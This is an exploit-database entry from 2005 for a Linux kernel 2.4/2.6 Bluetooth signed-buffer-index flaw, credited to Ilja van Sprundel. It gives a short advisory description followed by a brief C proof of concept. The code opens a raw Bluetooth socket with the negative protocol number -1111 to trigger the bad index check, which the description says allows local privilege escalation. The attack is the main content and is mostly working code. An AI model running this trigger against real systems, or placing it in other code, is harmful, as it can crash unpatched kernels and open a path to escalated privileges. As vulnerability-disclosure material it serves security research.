Linux Kernel 2.4.x2.6.x - BlueTooth Signed Buffer Index (PoC)

2005-03-28T00:00:00
ID EXPLOITPACK:B2C9D1C4751DA17BD62758B73AA0D591
Type exploitpack
Reporter ilja van sprundel
Modified 2005-03-28T00:00:00

Description

Linux Kernel 2.4.x2.6.x - BlueTooth Signed Buffer Index (PoC)

                                        
                                            /*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/926/

source: https://www.securityfocus.com/bid/12911/info

A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.

A local attacker may leverage this issue to gain escalated privileges on an affected computer. 
*/

#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

main()
{
        int ctl;

        /* Open HCI socket  */
        if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
        {
                perror("Can't open HCI socket.");
                exit(1);
        }
}